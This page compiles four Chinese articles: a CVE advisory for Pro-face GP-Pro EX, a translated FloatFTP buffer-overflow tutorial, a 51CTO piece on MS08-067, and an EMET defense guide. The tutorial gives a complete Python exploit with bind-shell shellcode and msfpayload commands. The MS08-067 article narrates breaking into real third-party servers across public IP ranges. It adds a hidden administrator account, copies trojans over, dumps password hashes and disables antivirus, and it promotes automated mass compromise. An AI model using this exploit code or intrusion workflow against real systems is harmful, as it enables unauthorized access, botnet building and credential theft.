一 : Pro-face GP-Pro EX堆缓冲区溢出漏洞(CVE-2016-2290)
Pro-face GP-Pro EX堆缓冲区溢出漏洞(CVE-2016-****)
发布日期:2016-04-06
更新日期:2016-04-07
受影响系统:
Proface GP-Pro EX 1.00 - 4.0.4
Proface GP-Pro EX
。犇-嫑。描述:
CVE(CAN) ID:CVE-2016-****
Pro-face GP-Pro EX是HMI屏幕编辑器及逻辑编程软件。
Pro-face GP-Pro EX EX-ED 4.05.000之前版本, PFXEXEDV 4.05.000之前版本, PFXEXEDLS 4.05.000之前版本, PFXEXGRPLS 4.05.000之前版本,在实现上存在堆缓冲区溢出安全漏洞,远程攻击者利用此漏洞可执行任意代码。
<*来源:Jeremy Brown
链接:https://ics-cert.us-cert.gov/advisories/ICSA-16-096-01
*>
建议:
厂商补丁:
Proface
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
二 : 理解缓冲区溢出漏洞的利用
在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。
在研究和学习教程后,一些概念和工具开始变得不那么令人困惑了,并且我们逐渐能够明白一些细节了。然后,我开始在实验室现有已掌握可重建的应用程序中,寻找简单的缓存漏洞。只有在不断地实验,各种概念会一个个出现—整个进程,无论是独立的部分还是整体—都会一点点呈现出来。
本文将会为防御者描述一些基本概念,包括一个攻击者经历漏洞开发过程,需要的工作量和攻击者将要面对的编写恶意代码攻击特定漏洞的风险。
如今的攻击者既有决心也有技术,并且知道对于负责计算机和网络的人来说什么实际操作是最关键的,防御者对敌人的动机和技术了解的越多,他就越容易制定有效的防御措施。
我要经历几个漏洞挖掘的阶段的才能找到一个有效漏洞,首先,我们会fuzz我们的目标应用程序,通过一个有趣的方式使它崩溃,通过Immunity debugger来监控崩溃的过程,在windows系统的内存中找到最易受攻击的溢出的shellcode。随后,我们将要创造一个漏洞来传递shellcode,从而危机远程系统。
需要的软件/设置
攻击系统:Linux(我用的R3)
开发/受害者系统:windows xp sp3英文版
Immunity debugger-安装在windows xp系统上
FloatFTP—我们要利用的应用程序(忽略现有的漏洞,现在点击此页面上的“脆弱的应用程序”按钮来下载,解压缩文件到xp系统的桌面文件夹内)。
让我们正是开始吧!
Fuzzing
“Fuzzing”是对有畸形、过度利用的和发送随机数据到计算机程序试图使系统崩溃或出现意想不到现象的测试软件。Fuzzing用于测试系统和程序的安全。
双击float FTP来执行开始:
通过运行cmd提示符来运行和监听21端口和键入:
netstat -an | find "21"
启动Immunity debugger,单击“file”,再单击“attach”,选择FTP服务器过程,单击“attach”。
一旦应用程序在调试器上加载时,调试器将要处于暂定状态。按F9键或是Immunity debugger工具栏上的播放符号,让应用程序运行。这个目标应用程序将会被调试器监控。
现在我们将开始配置FTP fuzzer,首先,Fuzz应用程序来使系统崩溃,然后使用调试器来采集和分析崩溃数据。
下面的代码是一个用python脚本语言编写的简单的FTP fuzzer,当执行时,fuzzer会发送标准的FTP命令“REST”,并且附加越来越多的“A”到每条指令。
我们可以从例子(http://www.exploit-db.com/exploits/17546/)中知道FTP服务器的REST命令就是一个易受攻击的缓冲区溢出,FTP的REST功能将会成为fuzzer的目标。
在攻击系统的桌面上创建一个文件夹来存放fuzzing和漏洞代码。使用“CD”到这个目录,运行“nano fuzzer.py”。这就打开了一个空白的nano文本编辑器,复制和粘贴上面的代码到文件中。
利用正在系统上运行的floatFTP的IP系统改变目标的IP地址,按CTRL+O来保存文件,按CTRL+X来退出nano,接下来,通过键入来创建可执行文件。
chmod 755 fuzzer.py
执行“/fuzzer.py”,几秒钟后,你能够看到fuzzer停止了,并且显示目标应用程序崩溃。
当你在xp系统上看到这个调试器,你会看到Immunity debugger已经捕获了破坏了的数据和暂停了应用程序。如果你看EIP(扩展的指令指针)寄存器时,你就会看到在41秒中内fuzzer缓冲区寄覆盖寄存器,fuzzer缓冲区也会涌入ESP(扩展堆栈指针)寄存器(00AEFC2C)。我们的首要目的是了通过CPU执行的指令代码再次控制EIP寄存器,把它设置成我们所选择的值。
漏洞挖掘
用nano创建一个新的文件,输入下面的代码。这是挖掘的开始,将文件保存为skeleton.py并执行(输入chmod 755 skeleton.py)
在攻击系统的Linux终端上运行skeleton.py。
现在,当你在Immunity debugger上检查EIP寄存器时,你会看到缓冲区代码4141414141覆盖了寄存器,并溢出到了ESP寄存器中。
下一步就是要确定我们要插入代码的空间到底有多大,到现在为止,我们已经使用了一组固定的重复字符来确定我们的目标的内存地址。我们现在将要使用metasploit的pattern_create和pattern_offset工具来帮助我们发现究竟有多大的空间,我们以什么特定的内存地址为目标。首先,用1000个字符来生成一个不重复的字符串。
使用cd命令到/opt/metasploit/msf3/tools并运行:
创建一个1000字符的字符串,用它来取代以前缓冲架构漏洞中的1000个字符“A”。
注释掉以前的缓冲区漏洞,像下面一样创建一个新的缓冲线,在双引号中为新的缓冲区。
在Immunity debugger下重启FTP服务器(单击“debug”,之后重启或按CTRL+F2),启动FTP服务器的架构漏洞。按照先前的做法一定崩溃了,但是现在EIP和ESP缓冲区中有metasploit创建的格式,把这些值复制下来,我们将用它们来计算EIP和ESP寄存器的字节中的差异。
在本例,EIP和ESP的值为:
EIP: 69413269
ESP: 00AEFC2C (69413669)
之后,运行:
./pattern_offset.rb 69413269
接着
./pattern_offset.rb 69413669
输出告诉我们247个字节以后的EIP寄存器开始被缓冲区覆盖,这就意味着EIP中248—251字节是我们想要的目标。
CPU通过EIP寄存器中的值知道下一个要运行的指令,在内存地址中运行这些当前的指令,在EIP的内存位置中使用JMP ESP指令使CPU来执行指令和“跳”到ESP寄存器中执行驻留在该地址的内存中的指令。我们的目的就是在EIP中使用JMP ESP指令,这样我们就能控制执行命令并把我们的代码转变到ESP寄存器中。
两个寄存器之间有12个字节,于是我们用8个字节来填充我们的缓冲区,缩小间距和连接到ESP寄存器。
我们使用保持1000字节边界的框架漏洞来调整缓冲区:
buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741 z
例如: [buffer]<>[eip data]<>[padding]<>[shellcode placeholder]
在Immunity debugger中重启FTP服务器,按播放键取消暂停的应用程序。
再次运行挖掘,然后在Immunity debugger器中右击ESP寄存器的窗格选择“follow in dump”。如果一切排列正确的话,EIP寄存器中将会存储42424242和DS(x44)将会在ESP寄存器内存地址前面从EIP到ESP的空间中填充8 CS。
很棒。在Immunity debugger器中,复制DS的开始到结束的ESP的内存地址。然后打开windows计算器,转换到16进制的模式,把数值变成10进制。
这里是这样的:
开始:00AEFC2C = 11467820
结束:00AEFF0C = 11468556
用结束值减去开始值11468556 - 11467820 = 736,我们就知道有736个字节来储存代码。
现在,我们有了目标内存地址和指令,我们需要一种方法获得从EIP寄存器到ESP寄存器的指令,为了做到这一点,我们可以在windows操作系统的DLL中使用现有的JMP ESP指令。
单击Immunity debugger器的工具栏上的“e”,在存在的windows dll中查找JMP ESP指令,之后双击一个DLL,右键单击“搜索”,选择“command”,之后键入“JMP ESP”。
我们在windows系统文件kernel32.dll系统文件中发现了我们要找的指令,然后记下JMP ESP的内存地址。在本例中,是7C86467B,注意,如果你正在使用任何其他操作系统,而不是32位的windows xp sp3英文版,这个指令驻留在不同的位置。你要是用的是其他系统,在另外的DLL中查找JMP ESP指令,在剩下的教程中改变内存地址。
我们用一个新的缓冲区来更新我们的骨架漏洞,注释掉最后的一个缓冲区声明,用下面的代码替代它:
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741
因为小尾数CPU架构,JMP ESP的地址必须在缓冲区中向后格式化,所以7C86467B变成了\x7B\x46\x86\x7C。我们也要增加8Bs作为填充("\x43"*8)和改变最后一个值为\xCC*741 (742 CC's),这将会作为我们的代码的占位。一切正常,CCs应该在我们的目标ESP内存地址的开始,00AEFC2C,我们应该在EIP寄存器中找到我们的JMP ESP指令(7C86467B)。
在Immunity debugger器中单击“debug”之后“restar”来重启FTPsever.exe,不要忘记按F9或是在调试器中单击播放按钮来取消暂停的应用程序。
在Immunity debugger器工具栏单击箭头指向的三个点,进入JMP ESP内存所在的位置:7C86467B(在这个例子中),单击“OK”,然后按下F2在调试中设置断点。当访问JMP ESP地址时,调试将会暂定,让我们来查看寄存器和验证我们的目标EIP和ESP的正确性。
再次运行漏洞,并在调试器中查看输出,这看起来应该和下面的类似:
EIP中包含JMP ESP的目标地址(7C86467B)和我们的CCs在ESP(00AEFC2C)开始。现在,我们控制执行命令,剩下的就是用shellcode替换掉占位的CCs。
shellcode和漏洞
我们将使用metasploit的msfpayload来创建payload。有一点要注意:因为我们传递的都是字符串,我们必须要遵守字符限制的FTP协议。这就意味着没有空,返回,换行,或是@符号,他们用16进制的表示为\x00, \x0d, \x0a, 0×40。"\x40\xff\\x3d\x20"可以阻止shellcode执行。
下面是用msfpayload命令创建的shellcode,当在目标系统中被执行时,TCP999端口将会被打开。Msfencode语句确保在shellcode中没有坏的字符能阻止上面的执行。
msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b '\x40\x0A\x00\x0D\xff\x0d\x3d\x20'
这个结果是一个386字节的payload:
注释掉前面缓冲区声明和添加新的修改声明:
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + shellcode + "\xCC"*373
在处理shellcode运行的问题,双重检查所有参数包括“坏字符”之后,我就决定添加NOP指令到缓冲区在shellcode之前。在计算机的CPU中,一个NOP slide是一系列的NOP(无操作)指令(操作码0×90),这就意味着“滑动”CPU的指令执行流程到它的最终目标。当一切在一个漏洞中正常排列,NOP指令是有利的,但是shellcode执行失败。
我又一次修改缓冲区在shellcode前添加了16个NOP:
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 + shellcode + "\xCC"*357
例如: [buffer]<>[EIP - JMP ESP]<>[EIP to ESP padding]<>[NOPs]<>[shellcode]<>[Padding]
最终完整的漏洞:
- #!/usr/bin/python
- importsocket
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- #buffer='\x41'*1000
- #buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac
- 1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6
- Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah
- 2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7A
- j8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3A
- m4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao
- 9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar
- 4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At
- 9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4A
- w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0
- Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb
- 6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1
- Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg
- 5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
- #buffer="\x41"*247+"\x42\x42\x42\x42"+"\x43"*8+"\x44"*741
- ##msfpayloadwindows/shell_bind_tcpEXITFUNC=sehLPORT=999R|
- msfencode-b'\x40\x0A\x00\x0D'368bytes
shellcode = ("\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9"
"\xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\x25\xb3\x04\xf5"
"\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08"
"\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xf1\xce\xd5\x50\xf0"
"\x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54\xaa\x11"
"\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc"
"\x39\xce\xa4\x1e\x05\x99\xc1\xd5\xfd\x18\x03\x24\xfd\x2a"
"\x6b\xeb\xc0\x82\x66\xf5\x05\x24\x98\x80\x7d\x56\x25\x93"
"\x45\x24\xf1\x16\x58\x8e\x72\x80\xb8\x2e\x57\x57\x4a\x3c"
"\x1c\x13\x14\x21\xa3\xf0\x2e\x5d\x28\xf7\xe0\xd7\x6a\xdc"
"\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4\xe4"
"\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c"
"\xd4\xef\x15\x7a\x23\x0f\x0c\x3a\xbb\xee\xae\x3b\x95\x34"
"\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08"
"\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88"
"\x0c\xf1\x08\x2f\xb1\xe6\x84\xc9\xdf\xf8\xc0\x42\x77\x3b"
"\x37\x5b\xe0\x44\x1d\xf7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37"
"\x2e\x71\x01\xd0\xa4\x99\x96\xc1\xbb\xb7\xbe\x88\x84\x50"
"\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63"
"\xe8\xb9\x37\x7a\x7c\x54\x61\xd4\x62\xa5\xf7\x1f\x26\x72"
"\xc4\x9e\xa7\xf7\x70\x85\xb7\xc1\x79\x81\xe3\x9d\x2f\x5f"
"\x5d\x58\x86\x11\x37\x32\x75\xf8\xdf\xc3\xb5\x3b\x99\xcb"
"\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\x1a\x1c\x03\xae\xba\xe3"
"\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2e\x72\x08"
"\x46\xad\x76\xf1\xbd\xad\xf3\xf4\xfa\x69\xe8\x84\x93\x1f"
"\x0e\x3a\x93\x35")
## Windows XP SP3 kernel32.dll 7C86467B JMP ESP
#buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 +
shellcode + "\xCC"*357
print "\nSending evil buffer..."
s.connect(('10.10.10.32',21))
data = s.recv(1024)
s.send('USER ftp' +'\r\n')
data = s.recv(1024)
s.send('PASS ftp' +'\r\n')
data = s.recv(1024)
s.send('REST' +buffer+'\r\n')
s.close()
关闭XP系统上的调试器,重新启动FloatFTP。在攻击系统上启动漏洞攻击,然后远程连接到FTP服务器的999端口,一起正常,你将会以一个管理员的身份(或是任何一个打开FloatFTP进程的)收到一个shell。
正如你看到的,现在这个系统已经被渗透,并且受攻击者控制。
*本文来自于一名美国信息安全研究员&顾问的博客,并由IDF志愿者赵阳翻译,章典校对。
三 : 利用MS08067远程溢出漏洞抓肉鸡(1)
【51CTO.com 独家特稿】微软的正版验证机会出来以后没有多久,就爆出针对台湾和简体中文版本的MS08067漏洞,这个时候微软主动爆出这个号称比冲击波还要厉害的漏洞,是否针对我国,很多人都在怀疑,万事讲究证据,没有证据,也只能猜测!不过武器在别人手中,想怎么玩你,就怎么玩你!很多专家也对微软提供的更新中是否保护木马,诸如下载者等等表示怀疑和关注!网上也有说的微软是中国最大的黑客,就笔者个人经验来说,现在的Linux操作系统完全能够胜任常用的办公功能。闲话少说,俺给大家带来最新的MS08067远程溢出漏洞实战分析。
(一)MS08067漏洞描述
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
MS08-067比冲击波还要厉害,通过本人的实际测试,扫描一个网段,至少数百台存在该漏洞的计算机,只要是中文版本的操作系统,Vista除外,毫无幸免!
(二)MS08067远程漏洞实际利用
1.扫描445端口
关于MS08067漏洞目前还没有特别全面的分析报告,据相关资料称,只要扫描到开放139、445端口,就有可能利用该漏洞来实施远程溢出。因此首先我们使用工具软件扫描445端口,扫描的工具很多,我给大家介绍两种在DOS下面扫描的工具,一个是sfind.exe另外一个是s.exe,前者命令为“sfind –p 445 ip地址1 ip地址2”,例如扫描“sfind –p 445 218.99.0.1 218.99.0.255”;另外一个的使用的推荐命令格式为“s tcp 218.99.0.1 218.99.255.255 445 512 /save”,两个小软件扫描完成后自动保存结果,可以在肉鸡后台上进行工作,扫描完成后上去看结果即可。我采用sfind.exe对附近计算机进行445端口扫描,如图1所示,一共出来7台计算机,如果是大范围扫描,推荐使用后一种扫描软件,扫描速度快。
图1 使用sfind扫描445端口 |
说明:
(1)由于扫描出来的结果比较少,所以直接看就可以了。如果结果比较多,可以到sfind扫描目录下直接打开sfind.txt扫描结果。
2.使用MS08067溢出工具对结果进行溢出尝试
将获取的代码在VC中进行编译,将生成的程序重新命名为“MS0867”,然后打开DOS操作界面,并将MS08067.exe程序复制到当前操作目录(今天有人问我,为什么直接双击MS08067.exe程序,无任何反应,唉,晕!),直接输入程序名称,即可出现具体的使用方式,MS08067漏洞的使用方法为“MS08067 IP地址”,IP地址为存在该漏洞的服务器或者个人计算机的IP地址。输入存在可能存在该漏洞的IP地址218.*.*.*,结果显示为“SMB Connect OK! Maybe Patched!”如图2所示。
图2 对存在漏洞的服务器进行溢出 |
注意:
(1)在溢出过程还有多种提示例如“Make SMB Connection error:64”
(2)出现“Maybe Patched!”提示的计算机也可能溢出成功。
(3)仅仅对台湾和简体中文版本有效,对其他版本的服务器及时存在445漏洞也无法溢出,原因是操作系统溢出点内存地址不同。
3.监听“4444”端口
在执行扫描的计算机上使用nc监听4444端口,具体命令为“nc –vv ip地址 4444”,例如“nc –vv 218.69.*.2 4444”,一次不成功的溢出显示结果为“nc -vv 218.22.27.71 4444
Warning: forward host lookup failed for 71.27.22.218.broad.static.hf.ah.cndata.com: h_errno 11002: TRY_AGAIN71.27.22.218.broad.static.hf.ah.cndata.com [218.22.27.71] 4444 (?): TIMEDOUT sent 0, rcvd 0: NOTSOCK”,这说明218.22.27.71可能已经安装补丁、防火墙禁止对外进行连接等情况,导致溢出不成功。
说明:
在MS08067中可以定制监听端口,不过那个端口需要在源程序中定制。
4.继续进行溢出
换另外一个IP地址执行溢出,重新监听该IP地址,如图3所示,出来我们比较熟悉的反弹Shell串口,终于看到了希望,我在本地虚拟机上执行了多次测试,都未成功,但在实际环境中却测试成功。
图3 溢出成功 |
利用MS08067远程溢出漏洞抓肉鸡(1)_抓肉鸡
5.查看服务器信息
对溢出的计算机先要看看其配置等信息,例如查看操作系统版本、系统配置情况等,然后决定是否对其进行控制等后续操作,如果仅仅是普通个人计算机,而且配置极差,控制住的意义都不大。在这里使用“type c:\boot.ini”查看操作系统类型,如图4所示,该服务器为Windows 2003企业版服务器,显然有进一步控制的必要了。
图4 查看服务器版本等信息 |
6.添加管理员账号
既然是服务器那就先添加一个管理员帐号吧,如图5所示使用“net user king$ nohacker /add”、“net localgroup administrators king$ /add”以及“net localgroup administrators”命令添加“king$”用户,密码为“nohacker”,并查看是否将“king$”用户加入到管理员组中。
图5 添加一个用户到管理员组中 |
7.上传文件
关于上传文件有多种方法,个人推荐ftp脚本法,即在某一个站点或者自己假设一个临时Ftp服务器,然后使用以下样本下载ma.exe:
|
将以上脚本在反弹的shell中直接粘贴即可从Ftp服务器上下载,然后可以在反弹的Shell中执行下载的文件。在本次渗透过程中,由于是相邻IP,因此使用了一个简便的方法,即单击“开始”-“运行”,在其中输入“\\IP\admin$”或者“\\IP\C$”并确定,如图6所示,如图能够连接,则会出现一个输入网络密码的提示框,在用户和密码中分别输入刚才添加的用户名。
图6打开网络连接 |
如果验证正确,则可以像使用资源管理器一样使用被溢出计算机所建立的磁盘连接,如图7所示,顺利打开该服务器上的C盘,然后将木马、获取系统密码、查看系统信息等工具软件直接复制过去即可。
图7打开被溢出服务器系统盘 |
利用MS08067远程溢出漏洞抓肉鸡(1)_抓肉鸡
8.获取系统详细信息以及执行各种命令
使用MS08067溢出工具成功溢出服务器后,还可以使用“telnet IP地址 4444”连接被溢出服务器,如图8所示,偶使用telnet进行了尝试,获取系统信息并开放了3389端口。
图8 使用telnet连接被溢出计算机 |
说明:
(1)使用telnet连接被溢出计算机不如反弹shell好用,在telnet中有可能看不到输入,或者输入后反应较为迟钝。
(2)开放3389的方式有很多,网上有很多资料,这里使用别人给的一个工具,直接执行即可。
(3)可以使用以下脚本来查看对方服务器3389端口:
|
9.登录被溢出服务器
打开mstsc远程终端连接器,输入IP地址、刚才添加的用户名和密码,验证成功后,顺利进入服务器,如图9所示。
图9 顺利进入被溢出服务器 |
10.加固服务器
打江山容易,守江山难,一旦成功攻克服务器后,先对计算机的安全状况和安全措施进行查看和了解。根据个人经验先进行简单加固,如图10所示,就地取材,看看系统有什么杀毒软件,有无360卫士等,对系统的补丁进行修复,删除其它木马程序等。在本案例中,利用瑞星的漏洞扫描程序对系统的漏洞进行扫描,然后进行修复。
图10 扫描系统漏洞并修复 |
注意:
(1)如果系统安装有瑞星等杀毒软件,使用getpw获取系统帐号会失败的,这个时候就想办法开放服务器的远程终端,登录系统后,禁用杀毒软件,然后使用getpw获取系统的Hash密码。Getpw获取密码的格式为“getpw $local”,获取Hash密码一定要在shell中,否则获取的Hash密码为空,将获取的值复制到Txt文件中,并去除内容中的空格,正确的格式如图11所示。
图11 获取的密码Hash值 |
(2)如果被溢出服务器已经开放3389,则登录后要注意管理员是否在线,以前网上有过批处理脚本,当管理员登录后,脚本会自动注销当前登录用户,感谢俺的好友“孤水绕城”提高了这样一个脚本,即:
|
利用MS08067远程溢出漏洞抓肉鸡(1)_抓肉鸡
11.破解Hash值
这个俺就不多说了。直接使用LC5导入即可,要是还不会的,请关注本团队的一系列研究结果。破解Hash值的好处就是以后使用管理员的帐号和密码进行登录,当然还可以以防万一!
12.继续溢出和推广使用方法
测试成功后,呵呵继续对扫描出来的结果进行了溢出,毫无疑问,Windows XP、Window 2000 Server、Windows 2000 Professional以及Windows2003 Server均可成功溢出,如图12所示,溢出一台Windows 2000 Server。呵呵,好东西就应该跟大家分享,俺溢出成功后,就跟俺的好友们共享这个成功的溢出过程。
图12 继续溢出其它类型服务器 |
(三)防范措施
1.安装360卫士和升级系统补丁
首先就是升级系统补丁,推荐使用360卫士,使用其扫描即可,发现问题纠正问题即可。还有就是要及时升级360卫生的版本,在实际溢出过程中,我发现很多服务器上都安装了杀毒软件以及360卫士,但是其版本太低,未及时更新补丁程序,失去了应有的防范能力。
2.安装防火墙
在本次溢出过程中,我们还发现存在防火墙的情况下,成功溢出的几率几乎为0,因此推荐在系统中安装防火墙,对内外网防范都有效。
(四)总结与体会
本次测试几乎是在要放弃的情况下,偶是先进行了MS08067漏洞的本地测试,一个都没有成功,都想放弃了,后面打算放到实际环境中进行测试,未想一炮打响,再后来有一些改进的思路,偶做了录像,具体可以看录像,本人觉得可以将其修改跟1433自动抓肉鸡那个工具一样,自动扫描,自动溢出,自动执行下载程序,安全总在思维的突破!
【51CTO.COM 独家特稿,转载请注明出处及作者!】
四 : 用EMET防范0day漏洞溢出攻击(1)
要说最恐怖的黑客攻击是什么,答案肯定是缓冲区溢出攻击。当年Windows爆发RPC溢出漏洞后,网络上每天有数百万台计算机被黑客入侵。黑客利用溢出漏洞无需复杂的技术,只需利用工具一个命令即可进入目标的计算机中,史上最强计算机病毒“震荡波”也正是利用PRC溢出漏洞进行传播的。而杀毒软件面对溢出攻击,却束手无策,这就是溢出攻击的恐怖之处。那么什么是溢出攻击?我们又该如何防范溢出攻击呢?请看本文。
什么是溢出攻击?
溢出,顾名思义和水溢出的原理相当。我们来举个简单的例子:有一桶干净的水,水面刚好和桶口齐平,我们将一杯污水倒入到这个桶中,这时水会发生溢出,但这不是重要的,重要的是已经有部分污水混入了干净的水,这时这桶水已经不再是一桶干净的水了。
把这个原理搬到溢出攻击中后可以这样理解:我们将一段恶意代码通过漏洞插入到程序正常的代码当中,由于代码长度是固定的,这段代码会有一部分正常代码被溢出,也就是说我们的恶意代码代替了正常的程序代码。在程序要调用这段代码的时候,它会将我们插入的恶意代码当作正常代码调用,这时溢出攻击就完成了。这段恶意代码可实现的作用是任意的,例如提升用户权限、造成程序崩溃等等。
本文相关软件
Enhanced Mitigation Experience Toolkit
软件版本:2.0.0.3
软件大小:4.66MB
软件语言:中文
应用平台:Windows XP/Vista/7
注:在安装之前,首先要安装.net framework 2.0。
下载软件:http://down.51cto.com/data/169420
更多安全工具>>进入专题
更多网管软件>>进入专题
由于溢出攻击属于黑客攻击行为,并不是什么病毒木马,因此杀毒软件在溢出攻击面前毫无招架之力,所以在电脑上安装杀毒软件并不能防御溢出攻击,而必须借助一些专业的防溢出安全软件。
防范溢出是一项比较复杂的工作,如果对系统进行防溢出配置,那需要花费大量的时间,并且需要一定的技术,因此借助于防溢出安全工具无疑是最好的选择。微软的防溢出工具Enhanced Mitigation Experience Toolkit(简称EMET)可以说是配置最简单也最有效的防溢出工具(谁让Windows是溢出漏洞大户呢)。EMET不仅可以防范Windows上的各种0day漏洞,还能防范第三方软件的0day漏洞,在漏洞补丁没有发布之前,EMET可以有效保护计算机不被黑客攻击。
EMET主界面
EMET可以提供数据执行保护功能(DEP),这是自XP SP2起加入的安全功能。DEP可以强制阻止位于内存中的可执行代码运行,仅允许纯数据内容,这样就能预防常见的漏洞利用方式。而通过EMET就可以让原本不具备DEP功能的应用程序获得这项功能。
用EMET防范0day漏洞溢出攻击(1)_emet是什么
安装完毕后我们双击运行,EMET的界面可以说是相当之简洁。上半部分为系统全局状况,下半部分则是当前所有运行中的进程,可以查看是否支持DEP,是否被EMET强化过。上半部分的系统全局设置Configure System选项,对于Windows 7用户采用默认设置即可;对于XP用户,建议采用“Maximum Security Settings”,因为XP本身不具备SEHOP和ALSR(克服地址空间布局随机化限制,防止dll溢出)功能。
全局保护设置
而应用程序方面,鉴于目前被利用的绝大多数0day都来自与网络有关的应用程序,比如IE,所以我们要重点关照一下这些程序。点击“Configure Apps”,接着点“Add”,添加你希望保护的程序。完成后运行你刚才添加的程序(如果该程序添加前已经在运行则需要关闭重启之),此时,在EMET主界面上就会看到受保护的程序在“Running EMET”一栏里有了标识。
添加对单个程序的保护
以后只要网络上公布了Windows或某软件的0day漏洞,我们就可以通过EMET对其进行设置,这样即可临时解决溢出问题。当然,最终的解决办法还是安装漏洞补丁,这样才能一劳永逸。
【编辑推荐】
61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1